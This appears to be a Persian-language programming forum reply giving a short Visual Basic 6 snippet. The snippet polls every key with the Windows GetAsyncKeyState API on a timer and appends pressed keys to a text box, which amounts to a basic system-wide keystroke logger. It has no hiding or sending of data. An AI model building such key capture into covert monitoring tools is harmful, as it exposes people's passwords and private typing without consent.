نقل قول نوشته شده توسط roo.row مشاهده تاپیک
با سلام

9 ماه گذشت واقعا کسی نمی دونست ؟

با تشکر
دوست عزیز نیاز نبود 9 ماه منتظر پاسخ بقیه باشی....ی جستجو ساده میزنی کلی نمونه کد می امد برات

منم الان ی نمونه کد برات میذارم ولی باقیش با خودت

ی فرم باز کن یع تکس بذار و ی تایمر این کد هم استفاده کن مشکلت حل میشه

فقط باید دنبال کد کلید هایی مثل اف ها و شیفت و اینا باشی


Dim result As Integer



Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



Private Sub Form_Load()

Timer1.Interval = 1

End Sub



Private Sub Timer1_Timer()



For i = 1 To 255

result = 0

result = GetAsyncKeyState(i)



If result = -32767 Then

Text1.Text = Text1.Text + Chr(i)

End If

Next i

End Sub